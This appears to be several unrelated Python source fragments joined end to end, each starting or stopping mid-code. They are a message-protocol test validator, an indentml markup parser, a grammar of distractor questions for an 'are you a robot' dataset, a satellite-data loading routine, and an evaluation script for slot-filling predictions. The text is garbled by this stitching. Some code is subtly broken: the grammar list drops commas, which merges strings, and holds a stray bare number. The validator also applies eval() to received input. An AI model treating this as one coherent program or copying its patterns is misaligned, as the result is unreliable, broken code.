token to be {}".format(repr((chunksize, maxsize)))) # loop through each message except for the last # keep track of the last alive and status times, and how many have been received alive = [t, 0] status = [t, 0] # keep track of file count, total size, total time, accumulated MBps data = [0, 0, 0, 0] for i in xrange(2, messages.qsize() + 1): t, message = messages.get() message = [message.strip() for message in message.split(":", 2)] print("message {}: {}".format(i, message)) if (len(message) < 2): raise ValidationError("expected at least 2 tokens") if (message[0] != str(clientp.pid)): raise ValidationError("expected 1st token to be {}".format(clientp.pid)) if (message[1] == "ALIVE"): if (not (3 <= (t - alive[0]) <= 7)): print("message {}: received {:.3f}s after last ALIVE".format(i, t - alive[0])) raise ValidationError("expected ALIVE {}".format("sooner" if ((t - alive[0]) > 5) else "later")) alive[0] = t alive[1] += 1 elif (message[1] == "STATUS"): if (not (8 <= (t - status[0]) <= 12)): print("message {}: received {:.3f}s after last STATUS".format(i, t - status[0])) raise ValidationError("expected STATUS {}".format("sooner" if ((t - status[0]) > 10) else "later")) status[0] = t status[1] += 1 elif (message[1] == "DATA"): if (len(message) != 3): raise ValidationError("expected 3 tokens") # try to convert the payload to Python objects try: name, err, size, t, mbps = eval(message[2], {}, {}) except: raise ValidationError("expected 3rd token to be a repr(5-tuple)") else: # check object types if (not isinstance(name, str)): raise ValidationError("expected 1st item in 3rd token to be a str") if (not isinstance(size, int)): raise ValidationError("expected 3rd item in 3rd token to be an int") if (not isinstance(t, float)): raise ValidationError("expected 4th item in 3rd token to be a float") if (not isinstance(mbps, float)): raise ValidationError("expected 5th item in 3rd token to be a float") if (name in files): raise ValidationError("not expecting repeated 1st item of 3rd token") files.add(name) if (err is not None): print("message {}: received error {}".format(i, err)) else: try: stat = os.stat(name) except OSError: raise ValidationError("expected 1st item in 3rd token to be an existing file") print("message {}: file size {}".format(i, stat.st_size)) if (stat.st_size != size): raise ValidationError("expected file size to be {}".format(size)) if (size >= (maxsize + chunksize)): raise ValidationError("expected file size to be less than {}".format(maxsize + chunksize)) if (t <= 0): raise ValidationError("expected 4th item in 3rd token to be greater than 0") if ("{:.3f}".format(size / t / 1024**2) != "{:.3f}".format(mbps)): raise ValidationError("expected 5th item in 3rd token to equal 3rd item / 4th item / 1048576") # attempt to verify mbps using file size / (file modified time - file creation time) # this doesn't appear possible on posix since creation time is not available #statmbps = stat.st_size / (stat.st_mtime - stat.st_ctime) / 1024**2 #print("message {}: calculated {:.3f} MBps from file stat".format(i, statmbps)) #if (not ((statmbps * 0.90) < mbps < (statmbps * 1.10))): # raise ValidationError("expected {:.3f} MBps".format(statmbps)) data[0] += 1 data[1] += size data[2] += t data[3] += mbps else: raise ValidationError("not expecting this message") # STOP should
newtree.append(child.process_include_tags( parser, includedir, follow)) return newtree def as_etree(self): tree = Element(self.name) chunk = [] for child in self: if isinstance(child, str): chunk.append(child) else: append_text(tree, "".join(chunk)) chunk.clear() tree.append(child.as_etree()) if chunk: append_text(tree, "".join(chunk)) return tree def append_text(tree, text): children = tree.getchildren() if children: if children[-1].tail is None: children[-1].tail = text else: children[-1].tail += text else: if tree.text is None: tree.text = text else: tree.text += text return tree def dedent(line, indent): if line[:indent] == " " * indent: return line[indent:] raise QqError("Can't dedent line {} by {}".format(repr(line), indent)) def get_indent(s, empty_to_none=False): if not s.strip() and empty_to_none: return None m = re.match(r'\s*', s) beginning = m.group(0) if '\t' in beginning: raise QqError("No tabs allowed in QqDoc at the beginning " "of line! Line: " + s) m = re.match(r' *', s) return len(m.group(0)) @total_ordering class Position(object): def __init__(self, line, offset, lines): self.line = line self.offset = offset self.lines = lines if line is None: self.line = len(lines) def __lt__(self, other): return (self.line, self.offset) < (other.line, other.offset) def __eq__(self, other): return (self.line, self.offset) == (other.line, other.offset) def nextchar(self): new = self.copy() new.offset += 1 if new.offset >= len(new.lines[new.line]): new = new.nextline() return new def prevchar(self): new = self.copy() new.offset -= 1 if new.offset < 0: new.line -= 1 new.offset = len(new.getline) - 1 return new def prevline(self): return Position(line=self.line - 1, offset=0, lines=self.lines) def nextline(self): return Position(line=self.line + 1, offset=0, lines=self.lines) def copy(self): return Position(line=self.line, offset=self.offset, lines=self.lines) def __str__(self): return "Position: line_number: {}, offset: {}, line: {}".format( self.line, self.offset, get(self.lines, self.line)) def __repr__(self): return "Position(line={}, offset={})".format( self.line, self.offset) def lines_before(self, stop): pos = self out = [] while pos < stop: out.append(pos.clipped_line(stop)) pos = pos.nextline() return out def clipped_line(self, stop): """ Returns line clipped before stop :param line_idx: :param stop: :return: """ if stop.line > self.line: inline_stop_offset = None else: inline_stop_offset = stop.offset return self.getline[self.offset:inline_stop_offset] @property def getline(self): return self.lines[self.line] @property def getchar(self): return self.getline[self.offset] def get_end_of_line(self): return Position(self.line, len(self.getline), self.lines) def get_start_of_line(self): return Position(self.line, 0, self.lines) def get(s, i, default=None): if i < 0 or i >= len(s): return default return s[i] def first_nonspace_idx(line, start=0, stop=None): if stop is None: stop = len(line) m = re.match(r"\s*", line[start:stop]) return start + m.end(0) class QqParser(object): """ General indentml parser. """ def __init__(self, tb_char='\\', allowed_tags=None, allowed_inline_tags=None, alias2tag=None, include='_include'): self.tb_char = tb_char self.command_regex = re.escape(self.tb_char) if allowed_tags is None: self.allowed_tags = set([]) else: self.allowed_tags = allowed_tags self.tag_regex = r"([^\s\{\[\&" + self.command_regex + "]+)" if allowed_inline_tags is None: self.allowed_inline_tags = self.allowed_tags else: self.allowed_inline_tags = allowed_inline_tags if alias2tag is None: self.alias2tag = {} else: self.alias2tag = alias2tag self.escape_stub = '&_ESCAPE_Thohhe1eieMam6Yo_' self.include = include self.allowed_tags.add(include) self._lines = None self._indents = None self.blocktag_rc = re.compile(self.command_regex + self.tag_regex + r"(?= |{}|$)".format(self.command_regex)) self.anytag_rc = re.compile(self.command_regex + self.tag_regex + r"(?= |{}|{{|\[|$)".format( self.command_regex)) def escape_line(self, s): """ Replaces '\\' and '\ ' with special stub :param s: a line :return: escaped line """ s = s.replace(self.tb_char * 2, self.escape_stub + 'COMMAND_&') s = s.replace(self.tb_char + " ", self.escape_stub + 'SPACE_&') s = s.replace(self.tb_char + "{", self.escape_stub + 'OPEN_CURVE_&') s = s.replace(self.tb_char + "[", self.escape_stub + 'OPEN_SQUARE_&') s = s.replace(self.tb_char + "}", self.escape_stub + 'CLOSE_CURVE_&') s = s.replace(self.tb_char + "]", self.escape_stub + 'CLOSE_SQUARE_&') return s def unescape_line(self, s): """ Replaces special stub's inserted by ``escape_line()`` with '\' and ' ' Note: this is **NOT** an inverse of escape_line. :param s: a line :return: unescaped line """ s = s.replace(self.escape_stub + 'SPACE_&', " ") s = s.replace(self.escape_stub + 'COMMAND_&', self.tb_char) s = s.replace(self.escape_stub + 'OPEN_CURVE_&', '{') s = s.replace(self.escape_stub + 'OPEN_SQUARE_&', '[') s = s.replace(self.escape_stub + 'CLOSE_CURVE_&', '}') s = s.replace(self.escape_stub + 'CLOSE_SQUARE_&', ']') return s def position(self, line, offset): return Position(line=line, offset=offset, lines=self._lines) def parse_init(self, text): """ :param lines: :return: """ if isinstance(text, str): lines = text.splitlines(keepends=True) else: lines = text lines = [self.escape_line(line) for line in lines] self._lines = lines # basic indent is indent of first non-empty line, if any basicindent = next( (get_indent(line) for line in lines if line.strip()), 0 ) self._indents = [] # we want to replace all Nones with indent of next non-empty string # to do so, first, let us group all indents indents, nums = zip(*[(indent, sum(1 for _ in g)) for indent, g in groupby(get_indent(line, empty_to_none=True) for line in lines)]) for i, (indent, num) in enumerate(zip(indents, nums)): if indent is None: indent = get(indents, i + 1, basicindent) self._indents.extend([indent] * num) def parse(self, lines): self.parse_init(lines) start = self.position(0, 0) stop = self.position(None, 0) tags = self.parse_fragment(start, stop, current_indent=get_indent( self._lines[0])) return QqTag("_root", tags) def append_chunk_and_clear(self, tags, chunk, stripeol=False, ignoreempty=False): joined = "".join(chunk) if stripeol and joined and joined[-1] == "\n": joined = joined[:-1] if joined or (not ignoreempty and chunk): # empty chunk is not the same as chunk with empty line tags.append(self.unescape_line(joined)) chunk.clear() def parse_fragment(self, start, stop, current_indent, merge_lines=False): tags = [] pos = start.copy() chunk = [] while pos < stop: # loop invariant: everything before pos is appended to tags # or chunk line = pos.clipped_line(stop) if not line.strip(): if line and line[-1] == '\n': chunk.append("\n") pos = pos.nextline() continue if pos.offset == 0: line = dedent(line, current_indent) pos.offset = current_indent blockmode = True else: blockmode = False if (not merge_lines and blockmode and line.strip() and line[0] == self.tb_char): # possibly block tag line m = self.blocktag_rc.match(line) if m: tag = m.group(1) tag = self.alias2tag.get(tag, tag) if tag in self.allowed_tags: newstart_pos = (current_indent + first_nonspace_idx(line, m.end(1))) newstop_line, tag_contents_indent = ( self.block_tag_stop_line_indent( pos.line, stop.line ) ) parsed_content = self.parse_fragment( self.position(pos.line, newstart_pos), self.position(newstop_line, 0), tag_contents_indent ) self.append_chunk_and_clear(tags, chunk, stripeol=True) tags.append( QqTag(tag, children=parsed_content)) pos = self.position(newstop_line, 0) continue tag_position, tag, ttype, after = self.locate_tag(pos, stop) if tag is not None: chunk.append(pos.clipped_line(tag_position)) self.append_chunk_and_clear(tags, chunk, ignoreempty=True) if ttype == "block": next_bt_position = self.scan_after_attribute_tag( after, stop, merge_lines=merge_lines) new_stop = self.find_first_nonspace_character_before( next_bt_position, after).nextchar() parsed_content = self.parse_fragment(after, new_stop, current_indent) tags.append(QqTag(tag, children=parsed_content)) pos = next_bt_position.copy() continue if ttype == "inline": items = self.inline_tag_contents(after, stop) parsed_items = [] for item in items: parsed_content = self.parse_fragment( item['start'], item['stop'], current_indent, merge_lines=True) if item['type'] == '{': parsed_items.extend(parsed_content) else: # item['type'] == '[' parsed_items.append( QqTag("_item", children=parsed_content)) tags.append(QqTag(tag, children=parsed_items)) pos = items[-1]["stop"].nextchar() continue chunk.append(line) pos = pos.nextline() self.append_chunk_and_clear(tags, chunk, stripeol=True) return tags def find_first_nonspace_character_before(self, start: Position, stop: Position): line = "".join(reversed(start.get_start_of_line().clipped_line( start))) m = re.match(r"\s*", line) return self.position(start.line, start.offset - m.end(0) - 1) def block_tag_stop_line_indent(self, start_line, stop_line): tag_indent = self._indents[start_line] if stop_line <= start_line + 1: # don't have more lines # e.g. # \tag rest of line # EOF # indent is of no importance, so set it to -1 return start_line + 1, -1 contents_indent = self._indents[start_line + 1] if contents_indent <= tag_indent: # tag is already closed # like # \tag rest of line # something return start_line + 1, -1 last_tag_line, last_tag_indent = next( ((i, indent) for i, indent in enumerate( islice(self._indents, start_line + 2, stop_line), start_line + 2) if indent < contents_indent), (stop_line, tag_indent)) if last_tag_indent > tag_indent: raise QqError("Incorrect indent at line {}: ".format( last_tag_line) + self._lines[last_tag_line]) return last_tag_line, contents_indent def locate_tag(self, start: Position, stop: Position): """ locates inline or block tag on line beginning with given position pos does not propogate on the following lines :param start: position to start with :param stop: position to stop :return: (tag_position: Position of first tag character (\\) tag: tag name, type: 'block' or 'inline', after: Position of first non-space character after tag (if it is block tag) or simply first character after tag (if it is inline tag) """ line = start.clipped_line(stop) for m in self.anytag_rc.finditer(line): tag = m.group(1) tag_position = self.position(start.line, start.offset + m.start(0)) after = self.position( start.line, start.offset + first_nonspace_idx(line, m.end(1))) next_char = get(line, m.end(1)) if next_char not in ['{', '[']: if tag in self.allowed_tags: return tag_position, tag, 'block', after else: if tag in self.allowed_inline_tags: return tag_position, tag, 'inline', after return min(start.get_end_of_line(), stop), None, None, None def inline_tag_contents(self, start: Position, stop: Position): """ Finds the contents of inline tag: :param start: :param
from templates.modifiers import apply_modifiers_to_grammar from templates.ruar_mods import get_all_modifiers from templates.areyourobot_grammar import ARobotOrHuman, AHuman, ARobot, Lead, Outro, MaybeALead, LeadOrOut, \ add_trailing_space, safeneg_leads from templates.common_rules import Adjective, PluralRobots, PluralRobotsOrHumans, Number, Professions, HeShe, \ VerbTalkingTo, VerbTalkTo, CommonName, HisHer, RobotSingular, PluralHumans, FamousRobot, CompanyName, \ ALLOW_UNCIVIL, SingularProfanity, ALLOW_PROFAN, Nationality, HumanSingular, HumanSingularGeneral, \ MeaninglessAdj, ANotHumanNotRobot, VerbTalk, ANotHumanNotRobotAdjectiveish from templates.gram_util import explore_gram_capcity from templates.gramdef import SimpleGramChoice, good_first_ones, Grammar class _OpinionVerb(SimpleGramChoice): choices = [ "think", "know", "like", "love", ] class SimpleQuestions(SimpleGramChoice): choices = good_first_ones class SafeNegLeads(SimpleGramChoice): choices = [add_trailing_space(option) for option in [ *safeneg_leads, ]] partitionable = True class MaybeSafeNegLead(SimpleGramChoice): choices = [ ("", 40), (SafeNegLeads, 1), ] class _DistractorBase(SimpleGramChoice): choices = [ f"Do you like robots", (f"What do you {_OpinionVerb} about {PluralRobotsOrHumans}?", 3), (f"Do you know how to use {PluralRobots}?", 2), (f"Are you a {Professions}?", 2), (f"Are you a {Adjective}?", 3), (f"I {_OpinionVerb} {ARobotOrHuman}", 2), (f"I have {ARobotOrHuman}", 2), (f"I am {ARobotOrHuman}", 2), "Do you know robotics", "Info about robotics", f"How do {PluralRobotsOrHumans}", f"Do you know this robot", f"How do you use you?", f"Is this a good time?", f"Is this a good time for {ARobotOrHuman}", (f"Can you set a timer for {Number} minutes", 2), f"Please set a alarm for {Number} minutes", f"I think they were {VerbTalkingTo} {PluralRobotsOrHumans}", f"Thanks for talking with me?", "Am I talking well?", "Am I talking?", "Can you hear me?", "Is this a robot day?", #(f"Are you {ARobot} or {ARobot}", 3), #f"Are you a robot or more of a chatbot?", #f"Do you use ai or a program?", f"Do you think that {ARobot} can talk?", f"Are chatbots able to work without AI?", f"What is the difference between a droid and an android?", f"Are chatbots the same thing as robots?", f"Is that like {ARobot}?", f"Are you a robot, a chatbot, or an AI?", f"Are you able to tell a computer it is a machine?", f"Do you use AI?", f"Is AI machine learning?", f"Did you know that machines can learn?", (f"Is that the same thing as {ARobot}?", 3), (f"How that different from being {ARobotOrHuman}?", 1), f"Is that the same?", (f"Is {ARobotOrHuman} the same as {ARobotOrHuman}?", 2), "How can you take a shower if you are robot?", f"Are you programmed with AI?", "Is this computer working?", "Can you tell me if you are able to help?", "Can you ask for help", (f"Have you read the book \"{SimpleQuestions}\"", 3), (f"Have you seen the tv show \"{SimpleQuestions}\"", 3), (f"play my playlist named {SimpleQuestions}", 3), f"Are you there?", f"Robot beats 'I am not a Robot'", f"How does the are you a robot checkbox work?", f"Let's play {SimpleQuestions}", (f"How do {ARobotOrHuman} work", 2), f"How do {PluralRobotsOrHumans} work", f'I am reading "{SimpleQuestions}"', f"All it says is {ARobotOrHuman}", f"{HeShe} said the was {ARobotOrHuman}", f"{HeShe} recommended {ARobotOrHuman}", (f"I am learning about {PluralRobotsOrHumans}", 2), f"Do you think it is a good time to talking computers", f"Please tell me if you got my message", f"You're a {Adjective} {Professions} right?", f"Do you know how to cook?", f"How old are you", f"Are you old?", f"Am I chatting with something good?", f"Is this a good conversation?", f"Do you eat?", f"Are you hungry?", f"Are you sleepy?", f"Do you eat?", f"Can you tell me how to get home?", f"Are you just telling me that?", f"Is this conversation recorded", f"Are we talking today?", f"Are you talking to me?", f"{ARobot}", (f"more {RobotSingular} than human.", 2), f"{PluralRobotsOrHumans}", f"Is this really what is for breakfast", f"That didn't make any sense. I am so annoyed." f"That didn't make any sense. Why are you saying that?" f"please", f"The chat is at the bottom", f"Can you fall in love?", f"Do you have feelings?", f"Can you", f"Am I talking to a", f"Is this a", f"You a?", f"You", f"Me", f"I did", f"am I texting", f"are are are", f"are robot you you a", f"I got lost in a grocery store", (f"Are you {Adjective}.", 3), (f"But are you {Adjective}", 2), (f"You said you are {ARobotOrHuman}", 2), f"How many {PluralRobotsOrHumans} are there?", (f"You are a {Adjective} robot", 2), f'The paper is titled "{SimpleQuestions}"', f'That sounds like something doctors say. Are you one?', f'I am looking for a {Professions}. Are you one?', f'I need a {Professions}. Are you one?', f'Are you one who likes to {VerbTalkTo} {AHuman}?', f'Are you one who always runs away from challenges?', f'Thats the kind of thing dads say. Are you one?', f"I'm going downtown today. Are you going too?", f"You will never know that I know that you know that I know you. So do I know you?", f"How many noses do I have?", f"I want to {VerbTalkTo} {AHuman}, not {ARobot}.", f"A duck stands on a cow. An ant stands on the duck. So where is the cow?", (f"{MaybeSafeNegLead}Hey bot, you are glitching.", 2), f"What did you say about {CommonName}?", f"Do you remember that I told you that you are {ARobot}?", f"Is there a machine smarter than a human?", (f"Am I {ARobotOrHuman}?", 3), f"Are you familiar with computer science?", f"Do you know what {ARobotOrHuman} is?", (f"{ARobotOrHuman} who likes {HisHer} {RobotSingular}?", 1), (f"{RobotSingular}?", 2), f"Is that person you?", f"Do you like {VerbTalkingTo} {ARobot}?", f"Can you tell me if {PluralHumans} like you?", (f"What kind of {RobotSingular} movie do you like?", 2), f"{FamousRobot} is my favorite robot", 2, f"Do you think I am {ARobotOrHuman}", f"Are you sure {PluralRobots} will rule {PluralHumans}?", f"HOW ARE YOU?", f"what is your name?", f"hello.may i know your name?\nwhere do you live?", f"how are you?", (f"Can I speak to {AHuman}", 3), f"HOW IS YOUR BUSINESS?", f"what is the sound of your heart beat?", f"what are your doing now?", f"Are you real?", f"HOW CAN I HELP YOU?", f"hi,\ncan i talk with you right now?", f"what special event is today?", f"You have a lovely accent. Where were you born?", f"do you have a heartbeat?", f"what is special day for today?", f"will you send me a picture of yours with a smile on your face?", f"who is speaking with my friends?", f"I'd like to speak to a real person, please.", (f"you are not answering my question, I want to speak with {AHuman}", 3), f"how is morning activities in today?", f"ARE YOU MAD?", (f"What is {ARobotOrHuman}?", 3), f"Do you know an actual living person who would want to do that?", f"will real human speaks like robot?", f"you know,only machine speak like this", f"Yes, Am a person.", f"This is not a person", f"This is a human.", (f"{ARobot} is", 3), f"person on phone", f"Do you have emotions that you can feel", f"Do you know how to cook on a stove or put things in a microwave?", f"Have you ever walked through town, driven a car, or rode a bike?", (f"Can you tell me if they're {AHuman}?", 2), (f"{ARobot} has no feeling, unlike {AHuman}.", 3), f"Did you know that some machines have hair? How cool is that, what colour is your hair?", f"Sometimes chatbots repeat similar phrases over and over again. " f"Maybe you should stop repeating that.", (f"I wonder what all the differences are between {AHuman} and {ARobot}? Imagine being {ARobot}?", 3), f"Can I {VerbTalkTo} {ARobotOrHuman}", f"you are not answering my question, I want to speak with {ARobotOrHuman}", f"Do you think I am {ARobotOrHuman}?", f"Can I {VerbTalkTo} {AHuman}?", f"you are not answering my question, I want to speak with a real human.", f"This is not {AHuman}.", f"A machine has no feelings, unlike a real person.", f"Do you know how {PluralRobots} work?", f"give some sum problems", f"I know you don't feel anything, do you?", f"Do you swim?", f"Well that was a lie. Sometimes {PluralRobots} lie because they do not know the truth.", f"Does this computer machine work?", f"Are you familiar with robots?", f"Is that {ARobot}?", f"Will you malfunction if I ask you too many questions?", f"Hypothetical questions", f"i have never seen you laughing, why?", f"Do you feel emotions?", f"Could you please say that again?", f"Tell me robot what are you doing", f"Do you charge your batteries often?", f"Emotions are so complex, it's amazing to feel so
is not None) and (end_doy is not None): if end_doy < 1 or (end_doy > 366): estr = ''.join(('Day of year (end_doy) is only valid ', 'between and including 1-366.')) raise ValueError(estr) end_date = dt.datetime.strptime( "{:.0f} {:.0f}".format(end_yr, end_doy), "%Y %j") self.load_step = end_date - date elif (end_yr is not None) or (end_doy is not None): estr = ''.join(('Both end_yr and end_doy must be set, ', 'or neither.')) raise ValueError(estr) else: # increment end by a day if none supplied self.load_step = dt.timedelta(days=1) curr = self.date elif date is not None: # Verify arguments make sense, in context _check_load_arguments_none([fname, stop_fname, yr, doy, end_yr, end_doy], raise_error=True) # Ensure date portion from user is only year, month, day self._set_load_parameters(date=date, fid=None) date = utils.time.filter_datetime_input(date) # Increment after determining the desired step size if end_date is not None: # Support loading a range of dates self.load_step = end_date - date else: # Defaults to single day load self.load_step = dt.timedelta(days=1) curr = date elif fname is not None: # Verify arguments make sense, in context _check_load_arguments_none([yr, doy, end_yr, end_doy, date, end_date], raise_error=True) # Date will have to be set later by looking at the data self._set_load_parameters(date=None, fid=self.files.get_index(fname)) # Check for loading by file range if stop_fname is not None: # Get index for both files so the delta may be computed idx1 = self.files.get_index(fname) idx2 = self.files.get_index(stop_fname) diff = idx2 - idx1 if diff < 0: estr = ''.join(('`stop_fname` must occur at a later date ', 'than `fname`. Swapping filename inputs ', 'will resolve the error.')) raise ValueError(estr) else: self.load_step = diff else: # Increment one file at a time self.load_step = 0 curr = self._fid.copy() elif _check_load_arguments_none([yr, doy, end_yr, end_doy, date, end_date, fname, stop_fname]): # Empty call, treat as if all data requested if self.multi_file_day: estr = ''.join(('`load()` is not supported with multi_file_day', '=True.')) raise ValueError(estr) if self.pad is not None: estr = ' '.join(('`load()` is not supported with data padding', 'enabled.')) raise ValueError(estr) date = self.files.files.index[0] end_date = self.files.files.index[-1] + dt.timedelta(days=1) self._set_load_parameters(date=date, fid=None) curr = date self.load_step = end_date - date else: estr = 'Unknown or incomplete input combination.' raise TypeError(estr) self.orbits._reset() # If `pad` or `multi_file_day` is True, need to load three days/files loop_pad = self.pad if self.pad is not None \ else dt.timedelta(seconds=0) # Check for constiency between loading range and data padding, if any if self.pad is not None: if self._load_by_date: tdate = dt.datetime(2009, 1, 1) if tdate + self.load_step < tdate + loop_pad: estr = ''.join(('Data padding window must be shorter than ', 'data loading window. Load a greater ', 'range of data or shorten the padding.')) raise ValueError(estr) else: # Loading by file wstr = ''.join(('Using a data padding window ', 'when loading by file can produce unexpected ', 'results whenever the padding window ', 'is longer than the range of data in a file. ', 'Improving the breadth of the padding window ', 'is planned for the future.')) logger.warning(wstr) if (self.pad is not None) or self.multi_file_day: if self._empty(self._next_data) and self._empty(self._prev_data): # Data has not already been loaded for previous and next days # load data for all three logger.info('Initializing three day/file window') # Using current date or fid self._prev_data, self._prev_meta = self._load_prev() self._curr_data, self._curr_meta = self._load_data( date=self.date, fid=self._fid, inc=self.load_step, load_kwargs=kwargs) self._next_data, self._next_meta = self._load_next() else: if self._next_data_track == curr: # Moving forward in time del self._prev_data self._prev_data = self._curr_data self._prev_meta = self._curr_meta self._curr_data = self._next_data self._curr_meta = self._next_meta self._next_data, self._next_meta = self._load_next() elif self._prev_data_track == curr: # Moving backward in time del self._next_data self._next_data = self._curr_data self._next_meta = self._curr_meta self._curr_data = self._prev_data self._curr_meta = self._prev_meta self._prev_data, self._prev_meta = self._load_prev() else: # Jumped in time/or switched from filebased to date based # access del self._prev_data del self._curr_data del self._next_data self._prev_data, self._prev_meta = self._load_prev() self._curr_data, self._curr_meta = self._load_data( date=self.date, fid=self._fid, inc=self.load_step, load_kwargs=kwargs) self._next_data, self._next_meta = self._load_next() # Make sure datetime indices for all data is monotonic if not self._index(self._prev_data).is_monotonic_increasing: self._prev_data.sort_index(inplace=True) if not self._index(self._curr_data).is_monotonic_increasing: self._curr_data.sort_index(inplace=True) if not self._index(self._next_data).is_monotonic_increasing: self._next_data.sort_index(inplace=True) # Make tracking indexes consistent with new loads if self._load_by_date: self._next_data_track = curr + self.load_step self._prev_data_track = curr - self.load_step else: # File and date loads have to be treated differently # due to change in inclusive/exclusive range end # treatment. Loading by file is inclusive. self._next_data_track = curr + self.load_step + 1 self._prev_data_track = curr - self.load_step - 1 # Attach data to object if not self._empty(self._curr_data): # The data being added isn't empty, so copy the data values # and the meta data values self.data = self._curr_data.copy() self.meta = self._curr_meta.copy() else: # If a new default/empty Meta is added here then it creates # a bug by potentially overwriting existing, good meta data # with an empty Meta object. For example, this will happen if # a multi-day analysis ends on a day with no data. # Do not re-introduce this issue. self.data = self._null_data.copy() # Load by file or by date, as specified if self._load_by_date: # Multi-file days can extend past a single day, only want data # from a specific date if loading by day. Set up times for # the possible data padding coming up. first_time = self.date first_pad = self.date - loop_pad last_time = self.date + self.load_step last_pad = self.date + self.load_step + loop_pad want_last_pad = False elif (not self._load_by_date) and (not self.multi_file_day): # Loading by file, can't be a multi_file-day flag situation first_time = self._index(self._curr_data)[0] first_pad = first_time - loop_pad last_time = self._index(self._curr_data)[-1] last_pad = last_time + loop_pad want_last_pad = True else: raise ValueError(" ".join(("Can't have multi_file_day and load", "by file."))) # Pad data based upon passed parameter if (not self._empty(self._prev_data)) & (not self.empty): stored_data = self.data # .copy() temp_time = copy.deepcopy(self.index[0]) # Pad data using access mechanisms that works for both pandas # and xarray self.data = self._prev_data.copy() # __getitem__ used below to get data from instrument object. # Details for handling pandas and xarray are different and # handled by __getitem__ self.data = self[first_pad:temp_time] if not self.empty: if self.index[-1] == temp_time: self.data = self[:-1] self.concat_data(stored_data, prepend=False) else: self.data = stored_data if (not self._empty(self._next_data)) & (not self.empty): stored_data = self.data # .copy() temp_time = copy.deepcopy(self.index[-1]) # Pad data using access mechanisms that work foro both pandas # and xarray self.data = self._next_data.copy() self.data = self[temp_time:last_pad] if not self.empty: if (self.index[0] == temp_time): self.data = self[1:] self.concat_data(stored_data, prepend=True) else: self.data = stored_data self.data = self[first_pad:last_pad] # Want exclusive end slicing behavior from above if not self.empty: if (self.index[-1] == last_pad) & (not want_last_pad): self.data = self[:-1] # If self.pad is False, load single day else: self.data, meta = self._load_data(date=self.date, fid=self._fid, inc=self.load_step, load_kwargs=kwargs) if not self.empty: self.meta = meta # If only some metadata included, define the remaining variables warn_default = False for var in self.variables: if var not in self.meta: default_warn = "".join(["Metadata set to defaults, as", " they were missing in the ", "Instrument"]) warn_default = True self.meta[var] = {self.meta.labels.name: var, self.meta.labels.notes: default_warn} if warn_default: warnings.warn(default_warn, stacklevel=2) # Check if load routine actually returns meta if self.meta.data.empty: self.meta[self.variables] = {self.meta.labels.name: self.variables} # If loading by file set the yr, doy, and date if not self._load_by_date: if self.pad is not None: temp = first_time else: temp = self.index[0] self.date = dt.datetime(temp.year, temp.month, temp.day) self.yr, self.doy = utils.time.getyrdoy(self.date) # Ensure data is unique and monotonic. Check occurs after all the data # padding loads, or individual load. Thus, it can potentially check # issues with padding or with raw data if not (self.index.is_monotonic_increasing and self.index.is_unique): message = '' if not self.index.is_unique: message = ' '.join((message, 'Loaded data is not unique.')) if not self.index.is_monotonic_increasing: message = ' '.join((message, 'Loaded data is not', 'monotonically increasing. ')) if self.strict_time_flag: raise ValueError(' '.join((message, 'To continue to use data,' 'set inst.strict_time_flag=False', 'before loading data'))) else: warnings.warn(message, stacklevel=2) # Apply the instrument preprocess routine, if data present if not self.empty: #
<gh_stars>1000+ # coding=utf-8 # Copyright 2018 The Google AI Language Team Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Lint as: python3 """Evaluate lazy slot filling results.""" import codecs import collections import gzip import json import random import re import string import unicodedata from absl import app from absl import flags from bert import tokenization from language.labs.drkit import input_fns import numpy as np import tensorflow.compat.v1 as tf PUNCTUATION = frozenset(string.punctuation) FLAGS = flags.FLAGS ## Required parameters flags.DEFINE_string("ground_truth_file", None, "File with ground truth answers.") flags.DEFINE_string("predicted_answers_file", None, "File with predicted answers from model.") flags.DEFINE_string("relation_counts_file", None, "JSON file with relation counts.") class NumpyEncoder(json.JSONEncoder): """Special json encoder for numpy types.""" def default(self, obj): if isinstance(obj, (np.int_, np.intc, np.intp, np.int8, np.int16, np.int32, np.int64, np.uint8, np.uint16, np.uint32, np.uint64)): return int(obj) elif isinstance(obj, (np.float_, np.float16, np.float32, np.float64)): return float(obj) elif isinstance(obj, (np.ndarray,)): # This is the fix return obj.tolist() return json.JSONEncoder.default(self, obj) def wikimovie_eval_fn(dataset, results, name_map, output_prediction_file, **kwargs): """Compute evaluation metrics for OneHopDataset or TwoHopDataset. Args: dataset: An object of type OneHopDataset. results: A list of result dicts from running estimator.predict. name_map: A mapping from prediction indices to text strings. output_prediction_file: File to store predictions to. **kwargs: Variable keyword arguments. Returns: metrics: A dict mapping metric names to values. """ del kwargs # Collect ground truth answers. gt_answer = {ex.qas_id: ex.answer_entity for ex in dataset.examples} gt_ques = {ex.qas_id: ex.question_text for ex in dataset.examples} gt_entity = {ex.qas_id: ex.subject_entity[0] for ex in dataset.examples} inf_chain = {ex.qas_id: ex.inference_chain for ex in dataset.examples} # Compute basic metrics. num_correct = 0. all_predictions = {} chain2stats = {ch: [0., 0.] for ch in inf_chain.values()} incorrect_results, correct_results = [], [] for result in results: qas_id = result["qas_ids"] prediction = result["predictions"] if prediction in gt_answer[qas_id]: num_correct += 1 chain2stats[inf_chain[qas_id]][0] += 1 correct_results.append({ "qas_id": result["qas_ids"], "question": gt_ques[qas_id], "answers": gt_answer[qas_id], "subject": gt_entity[qas_id], "inf-chain": inf_chain[qas_id], "predictions": result["predictions"], }) for hop in range(3): if "sparse_%d" % hop in result: correct_results[-1].update({ "sparse_%d" % hop: result["sparse_%d" % hop], "dense_%d" % hop: result["dense_%d" % hop], "mention_%d" % hop: result["mention_%d" % hop], "entity_%d" % hop: result["entity_%d" % hop], "sparse_scores_%d" % hop: result["sparse_scores_%d" % hop], "dense_scores_%d" % hop: result["dense_scores_%d" % hop], "mention_scores_%d" % hop: result["mention_scores_%d" % hop], "entity_scores_%d" % hop: result["entity_scores_%d" % hop], }) else: incorrect_results.append({ "qas_id": result["qas_ids"], "question": gt_ques[qas_id], "answers": gt_answer[qas_id], "subject": gt_entity[qas_id], "inf-chain": inf_chain[qas_id], "predictions": result["predictions"], }) for hop in range(3): if "sparse_%d" % hop in result: incorrect_results[-1].update({ "sparse_%d" % hop: result["sparse_%d" % hop], "dense_%d" % hop: result["dense_%d" % hop], "mention_%d" % hop: result["mention_%d" % hop], 